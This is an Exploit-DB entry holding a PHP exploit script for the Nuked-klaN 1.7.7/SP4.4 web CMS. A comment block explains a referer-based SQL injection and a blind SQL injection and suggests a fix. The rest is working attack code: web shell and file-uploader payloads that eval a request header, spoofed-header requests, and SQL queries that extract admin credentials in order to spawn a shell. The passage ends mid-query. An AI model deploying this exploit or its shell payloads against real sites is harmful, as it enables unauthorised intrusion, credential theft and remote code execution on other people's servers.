Exploit-DB #6749
Description: Nuked-klaN 1.7.7 / SP4.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-14
Author: Charles Fol

Exploit:
<?php
#
# Name:    Nuked-klaN <= 1.7.7 and <= SP4.4 Multiple Vulnerabilities Exploit
# Credits: Charles FOL <charlesfol[at]hotmail.fr>
# URL:     http://real.o-n.fr/
# Date:    14/10/2008
#
# Special thanks to Louis for remembering me I had to finish it =)
#
# VULNERABILITY DETAILS
# ---------------------
#
# Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not
# correctly  filtered  before being inserted in  nuked_stats_visitor table.
#
# If HTTP headers are not addslashes()'d by PHP,  it could lead to a INSERT
# SQL injection.
#
# In function view_referer() (visits.php),  referers are extracted from the 
# database to perform an other SQL query, without being secured in between.
# This leads to a blind SQL injection.
#
# Theses injections are  only possible if Nuked-klaN (NK) considers us as a
# new user, because else it won't touch the nuked_stats_visitor table.
# For this,  we can use X-Forwarded-For HTTP header to specify NK a new IP,
# to be considered as a new user, and therefore access the database.
# NK automaticaly tries to resolve our host (using gethostbyaddr()), and it
# could be very long if the IP is not corresponding to a real one,  because
# the default timeout is ~3 seconds, and that's very unconvenient for blind
# SQL injection.
# In order to solve this,  we can try to  generate IPs that might be valid,
# using, for example, a known BASE (the first two numbers), and randomizing
# the two other numbers.
#
# Stats can be disabled, or not accessible for users or visitors.
# In the last case we can't get query results,  so the unique way to inject
# is BENCHMARK method, but this implies that the headers are not addslashed
# by PHP, but this method is not implemented in this exploit.
#
# If we got an admin session or login, we can spawn a remote shell/uploader
# using the NK "MySQL administration",  but PHP safe_mode must be disabled.
#
# This exploit uses  all these vulnerabilities to spawn a shell/uploader or
# to simply obtain admin credentials.
#
# EXPLOIT MAP
# -----------
#
# (ERRORS ARE THIS WAY ->)
# 
# +---------------------------+
# | Check stats accessibility |->exit()
# +---------------------------+
#   |
#   |  +---------------------------------+  +-----------------------------------------------+
#   +->| Spoof referer to corrupt INSERT |->| Spoof referer to corrupt view_referer() query |->exit()
#      | query and look for results      |  | (blind sql injection)                         |
#      +---------------------------------+  +-----------------------------------------------+
#        |                                    |
#        |  +--------------------------+      | +---------------------------------------------+
#        +->| Did we find an admin SID |<-----+ | We only have a login and a hashed password, |
#           | or not ?                 |------->| we have to crack it and use -admin          |
#           +--------------------------+        +---------------------------------------------+
#             |
#             |  +-------------------------------------------------+
#             +->| Login as admin and spawn an uploader or a shell |
#                | using "MySQL administration"                    |
#                +-------------------------------------------------+
#
# SOLUTION
# --------
# The best way to secure your Nuked-klaN is disabling stats using the admin
# panel.
# If you wan't to keep stats activated, you have to addslashes HTTP_REFERER
# in nuked.php and in visits.php.
#
#
# THIS IS FOR EDUCATION PURPOSES ONLY, as usual.
#

error_reporting(E_ALL ^ E_NOTICE);

define('MSG_INFO', 1);
define('MSG_OKAY', 2);
define('MSG_ERROR', 3);
define('MSG_QUESTION', 4);

define('AGENT', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16');
define('IPBASE', '82.237.');

define('UPCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {$h=fopen(\'w00t.php\', \'w+\');if(!$h || fputs($h, \'<file>\')) exit(\'--NOTDONE--\');fclose($h);exit(\'--DONE--\');}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>');
define('SHCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {print 123456789;eval($_SERVER[\'HTTP_SHELL\']);print 123456789;exit();}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>');

$nk = new nk();

class nk
{
	var $proxy;
	
	var $user;
	var $admin;
	var $suser;
	var $sadmin;
	var $mode;
	var $url;
	var $year;
	
	var $ips = array();
	var $queries;
	var $www;
	
	function nk()
	{
		$this->header();
		$this->usage();
		
		$this->setParameters();
		$this->controlParameters();
		
		$this->main();
	}
	
	function close()
	{
		$this->msg();
		exit(0);
	}
	
	# Main function, what and when.
	function main()
	{
		# Admin login not specified
		if(!$this->sadmin)
		{
			$this->setQueries(0);
			$this->checkStatsAccessibility();
			$this->sendInsertQuery();
		
			# Got the credentials =)
			if($this->getCredentials())
			{
				$this->dumpCredentials();
			}
			elseif($this->blindQueries())
			{
				if($this->mode != 2 && !$this->admin['sid'])
				{
					$this->msg('There is no active admin session, try with "-mode 2"', MSG_ERROR);
					exit();
				}
				
				$this->file = str_replace('$_SERVER[\'HTTP_SHELL\']', 'stripslashes($_SERVER[\'HTTP_SHELL\'])', $this->file);
			}
			# No attack worked
			else
			{
				$this->msg('Exploit failed, stats might be disabled.', MSG_ERROR);
				exit();
			}
		}
		
		$this->makeadmin();
		$this->conclude();
	}
	
	# Define queries in function of the current mode
	function setQueries($mode)
	{
		$this->queries   = array();
		
		if(!$mode)
		{
			# User queries
			$this->queries['name']     = 'SELECT pseudo FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
			$this->queries['password'] = 'SELECT pass FROM <prefix>users WHERE nive